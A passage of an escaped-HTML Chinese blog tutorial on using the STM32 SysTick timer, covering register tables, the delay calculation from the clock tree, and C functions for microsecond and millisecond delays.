也会清零\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch4 id=\"SysTick-校准值寄存器(SysTick-gt-CALIB)\"\u003e\u003ca href=\"#SysTick-校准值寄存器(SysTick-gt-CALIB)\" class=\"headerlink\" title=\"SysTick 校准值寄存器(SysTick -\u0026gt; CALIB)\"\u003e\u003c/a\u003eSysTick 校准值寄存器(\u003ccode\u003eSysTick -\u0026gt; CALIB\u003c/code\u003e)\u003c/h4\u003e\u003ctable\u003e\u003cthead\u003e\u003ctr\u003e\u003cth\u003e位\u003c/th\u003e\u003cth\u003e名称\u003c/th\u003e\u003cth\u003e类型\u003c/th\u003e\u003cth\u003e复位值\u003c/th\u003e\u003cth\u003e描述\u003c/th\u003e\u003c/tr\u003e\u003c/thead\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd\u003e31\u003c/td\u003e\u003ctd\u003eNOREF\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e-\u003c/td\u003e\u003ctd\u003e1 \u0026#x3D; 没有外部参考时钟(STCLK 不可用)\u003cbr /\u003e0 \u0026#x3D; 有外部参考时钟可供使用\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e30\u003c/td\u003e\u003ctd\u003eSKEW\u003c/td\u003e\u003ctd\u003eR\u003c/td\u003e\u003ctd\u003e-\u003c/td\u003e\u003ctd\u003e1\u0026#x3D; 校准值并非精准的 10ms\u003cbr /\u003e0 \u0026#x3D; 校准值准确\u003c/td\u003e\u003c/tr\u003e\u003ctr\u003e\u003ctd\u003e23: 0\u003c/td\u003e\u003ctd\u003eTENMS\u003c/td\u003e\u003ctd\u003eR\u0026#x2F;W\u003c/td\u003e\u003ctd\u003e0\u003c/td\u003e\u003ctd\u003e10毫秒校准值。芯片设计者应通过 Cortex-M3 的输入信号提供该数值,若读出为0,则表示校准值不可用。\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003ch3 id=\"使用-SysTick-定时器\"\u003e\u003ca href=\"#使用-SysTick-定时器\" class=\"headerlink\" title=\"使用 SysTick 定时器\"\u003e\u003c/a\u003e使用 SysTick 定时器\u003c/h3\u003e\u003ch4 id=\"主要流程\"\u003e\u003ca href=\"#主要流程\" class=\"headerlink\" title=\"主要流程\"\u003e\u003c/a\u003e主要流程\u003c/h4\u003e\u003cp\u003e本次使用查询的方式。\u003c/p\u003e\u003col\u003e\u003cli\u003e将0写入 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 禁止 SysTick 定时器,防止之前 SysTick 定时器在之前被使能过;\u003c/li\u003e\u003cli\u003e将新的重加载值写入 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e ,重加载值应为周期数减1(因为是倒数到0);\u003c/li\u003e\u003cli\u003e将任何数值写入 SysTick 当前值寄存器 \u003ccode\u003eSysTick -\u0026gt; VAL\u003c/code\u003e ,该寄存器会被清零;\u003c/li\u003e\u003cli\u003e写入 SysTick 控制和状态寄存器 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 启动寄存器\u003c/li\u003e\u003c/ol\u003e\u003ch4 id=\"延时原理\"\u003e\u003ca href=\"#延时原理\" class=\"headerlink\" title=\"延时原理\"\u003e\u003c/a\u003e延时原理\u003c/h4\u003e\u003cp\u003e利用SysTick 控制和状态寄存器 \u003ccode\u003eSysTick -\u0026gt; CTRL\u003c/code\u003e 中的 \u003cstrong\u003e计数标志位\u003c/strong\u003e 来确定定时器合适变为0.可以设置 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e 的值,然后等待计数标志位变为0,以此实现延时。\u003c/p\u003e\u003cp\u003e示例代码\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e//禁止 SysTick 定时器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//设置计数周期为256 (255~0)\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e LOAD \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0XFF\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 清零当前值寄存器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e VAL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 5 = b'101\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 位0 = 1 为使能SYSTICK定时器\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 位2 = 1 表示使用内核时钟\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e5\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 0x00010000 = 1\u0026lt;\u0026lt;16\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 通过查询 SysTick -\u003e CTRL 第16位标志位判断计数器是否计数到0\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e \u003cspan class=\"token number\"\u003e0x00010000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token operator\"\u003e==\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//禁止 SysTick 定时器\u003c/span\u003eSysTick \u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003e CTRL \u003cspan class=\"token operator\"\u003e=\u003c/span\u003e \u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"进行-us-级别延时\"\u003e\u003ca href=\"#进行-us-级别延时\" class=\"headerlink\" title=\"进行 us 级别延时\"\u003e\u003c/a\u003e进行 us 级别延时\u003c/h3\u003e\u003ch4 id=\"关于时钟\"\u003e\u003ca href=\"#关于时钟\" class=\"headerlink\" title=\"关于时钟\"\u003e\u003c/a\u003e关于时钟\u003c/h4\u003e\u003cp\u003e本次选用外部时钟。\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e对于STM32,外部时钟源是HCLK(AHB总线时钟)的1\u0026#x2F;8,内核时钟是HCLK时钟\u003c/strong\u003e ;\u003c/p\u003e\u003cp\u003e)可以翻出来 CubeMX 的时钟树看一眼\u003c/p\u003e\u003cp\u003e\u003cimg src=\"https://blog.ksfu.top/img/posts/mg995/4.webp\"\u003e\u003c/p\u003e\u003cp\u003e以f103 为例,这里HCLK 为72MHz,那么SYSTICK 的时钟为9MHz,即 \u003cstrong\u003eSYSTICK定时器以9MHz的频率递减\u003c/strong\u003e 。\u003c/p\u003e\u003ch4 id=\"计算\"\u003e\u003ca href=\"#计算\" class=\"headerlink\" title=\"计算\"\u003e\u003c/a\u003e计算\u003c/h4\u003e\u003cp\u003e如果要获取 \u003cstrong\u003eN\u003c/strong\u003eus的延迟,那么我们需要计算出 \u003ccode\u003eSysTick -\u0026gt; LOAD\u003c/code\u003e ,即重加载值\u003c/p\u003e\u003cp\u003e容易得到:\u003c/p\u003e\u003cp\u003e$1s \u0026#x3D; 10^6us$\u003c/p\u003e\u003cp\u003e$$Nus\u0026#x3D;T\\times LOAD\u0026#x3D;\\frac{LOAD}{SYSTICK}\\times 10^6$$\u003c/p\u003e\u003cp\u003e$$LOAD\u0026#x3D;Nus\\times SysTick \\times 10^{-6}$$\u003c/p\u003e\u003cp\u003e已知有:\u003c/p\u003e\u003cp\u003e$HCLK\u0026#x3D;72MHz$\u003c/p\u003e\u003cp\u003e$SYSTICK\u0026#x3D;9MHz$\u003c/p\u003e\u003cp\u003e代入具体数值可以得到:\u003c/p\u003e\u003cp\u003e$LOAD\u0026#x3D;Nus\\times9\\times 10^6\\times 10^{-6}$\u003c/p\u003e\u003cp\u003e最后得到\u003c/p\u003e\u003cp\u003e$$LOAD\u0026#x3D;Nus\\times9$$\u003c/p\u003e\u003ch4 id=\"72M主频代码\"\u003e\u003ca href=\"#72M主频代码\" class=\"headerlink\" title=\"72M主频代码\"\u003e\u003c/a\u003e72M主频代码\u003c/h4\u003e\u003cp\u003e\u003cdel\u003e)博客里面xjb找了一段\u003c/del\u003e\u003c/p\u003e\u003ch5 id=\"us级延时\"\u003e\u003ca href=\"#us级延时\" class=\"headerlink\" title=\"us级延时\"\u003e\u003c/a\u003eus级延时\u003c/h5\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token comment\"\u003e/*采用SysTick定时器位16标志位读取方式做延时(程序起始处)*/\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token comment\"\u003e//us级延时\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e temp\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eLOAD\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enus\u003cspan class=\"token operator\"\u003e*\u003c/span\u003e\u003cspan class=\"token number\"\u003e9\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//使能,减到零时无动作,采用外部时钟源\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当计数器的值减小到 0 的时候, CRTL 寄存器的位 16 会置 1\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当置 1 时,读取该位会清 0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edo\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e temp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 等待时间到达\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//关闭计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eVal\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e/*采用SysTick定时器位16标志位读取方式做延时(程序结束处)*/\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch5 id=\"ms级延时\"\u003e\u003ca href=\"#ms级延时\" class=\"headerlink\" title=\"ms级延时\"\u003e\u003c/a\u003ems级延时\u003c/h5\u003e\u003cp\u003e循环1000次即可\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003enms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" class=\"line-numbers-rows\"\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003cspan\u003e\u003c/span\u003e\u003c/span\u003e\u003c/code\u003e\u003c/pre\u003e\u003c/div\u003e\u003c/figure\u003e\u003ch3 id=\"更通用一点的代码\"\u003e\u003ca href=\"#更通用一点的代码\" class=\"headerlink\" title=\"更通用一点的代码\"\u003e\u003c/a\u003e更通用一点的代码\u003c/h3\u003e\u003cp\u003e上面那个 \u003ccode\u003eSysTick-\u0026gt;LOAD=nus*9;\u003c/code\u003e 的9是手动算出来的,一般情况下主频是很容易知道的,那直接用主频自动算出这个数字就更方便了\u003c/p\u003e\u003cp\u003e再次回到上面的式子\u003c/p\u003e\u003cp\u003e记系统时钟 $SYSCLK \\ Mhz$\u003c/p\u003e\u003cp\u003e$SYSTICK\u0026#x3D;SYSCLK\\div9 \\ Mhz$\u003c/p\u003e\u003cp\u003e$$Nus\u0026#x3D;T\\times LOAD\u0026#x3D;\\frac{LOAD}{SYSTICK\\times10^6}\\times 10^6\u0026#x3D;\\frac{LOAD}{SYSTICK}$$\u003c/p\u003e\u003cp\u003e$$LOAD\u0026#x3D;Nus\\times SYSTICK$$\u003c/p\u003e\u003cp\u003e这样可以在代码中定义一个延时倍乘数 \u003ccode\u003efac_us\u003c/code\u003e\u003c/p\u003e\u003cp\u003e$fac_\\ us\u0026#x3D;SYSCLK\\div8$\u003c/p\u003e\u003ch3 id=\"代码\"\u003e\u003ca href=\"#代码\" class=\"headerlink\" title=\"代码\"\u003e\u003c/a\u003e代码\u003c/h3\u003e\u003cp\u003e代码分为两步\u003c/p\u003e\u003col\u003e\u003cli\u003e配置 \u003ccode\u003eSYSTICK\u003c/code\u003e 为\u003ccode\u003eSYSCLK\u003c/code\u003e 的$\\frac{1}{8}$ ,并计算出延时倍乘数 \u003ccode\u003efac_us\u003c/code\u003e\u003c/li\u003e\u003cli\u003e采用SysTick定时器位16标志位读取方式做延时\u003c/li\u003e\u003c/ol\u003e\u003cp\u003e\u003cstrong\u003e还要记得在头文件包含 \u003ccode\u003estm32f1xx.h\u003c/code\u003e\u003c/strong\u003e (以f103为例)\u003c/p\u003e\u003cp\u003e\u003cstrong\u003e\u003ccode\u003edealy.c\u003c/code\u003e\u003c/strong\u003e\u003c/p\u003e\u003cfigure\u003e\u003cdiv class=\"code-wrapper\"\u003e\u003cpre class=\"line-numbers language-c\" data-language=\"c\"\u003e\u003ccode class=\"language-c\"\u003e\u003cspan class=\"token keyword\"\u003estatic\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e fac_us\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//us延时倍乘数\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 初始化延迟函数\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// SYSTICK的时钟固定为AHB时钟的1/8\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// SYSCLK:系统时钟频率\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_init\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint8_t\u003c/span\u003e SYSCLK\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token function\"\u003eHAL_SYSTICK_CLKSourceConfig\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003eSYSTICK_CLKSOURCE_HCLK_DIV8\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//配置SYSTICK \u003c/span\u003efac_us\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSYSCLK\u003cspan class=\"token operator\"\u003e/\u003c/span\u003e\u003cspan class=\"token number\"\u003e8\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//采用SysTick定时器位16标志位读取方式做延时(程序起始处)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//us级延时\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e nus\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e temp\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eLOAD\u003cspan class=\"token operator\"\u003e=\u003c/span\u003enus\u003cspan class=\"token operator\"\u003e*\u003c/span\u003efac_us\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//使能,减到零时无动作,采用外部时钟源\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当计数器的值减小到 0 的时候, CRTL 寄存器的位 16 会置 1\u003c/span\u003e \u003cspan class=\"token comment\"\u003e// 当置 1 时,读取该位会清 0\u003c/span\u003e \u003cspan class=\"token keyword\"\u003edo\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e temp\u003cspan class=\"token operator\"\u003e=\u003c/span\u003eSysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token keyword\"\u003ewhile\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x01\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026amp;\u0026amp;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e!\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003etemp\u003cspan class=\"token operator\"\u003e\u0026amp;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token number\"\u003e1\u003c/span\u003e\u003cspan class=\"token operator\"\u003e\u0026lt;\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e16\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e// 等待时间到达\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eCTRL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//关闭计数器\u003c/span\u003e SysTick\u003cspan class=\"token operator\"\u003e-\u003e\u003c/span\u003eVAL\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0x00\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//清空计数器\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//采用SysTick定时器位16标志位读取方式做延时(程序结束处)\u003c/span\u003e\u003cspan class=\"token comment\"\u003e//ms级延时\u003c/span\u003e\u003cspan class=\"token keyword\"\u003evoid\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_ms\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003e\u003cspan class=\"token class-name\"\u003euint16_t\u003c/span\u003e nms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token class-name\"\u003euint32_t\u003c/span\u003e i\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token keyword\"\u003efor\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e=\u003c/span\u003e\u003cspan class=\"token number\"\u003e0\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003ei\u003cspan class=\"token operator\"\u003e\u0026lt;\u003c/span\u003e\u003cspan class=\"token number\"\u003e1000\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e\u003cspan class=\"token operator\"\u003e++\u003c/span\u003ei\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#123;\u003c/span\u003e \u003cspan class=\"token function\"\u003edelay_us\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e(\u003c/span\u003enms\u003cspan class=\"token punctuation\"\u003e)\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e;\u003c/span\u003e \u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan class=\"token punctuation\"\u003e\u0026#125;\u003c/span\u003e\u003cspan aria-hidden=\"true\" 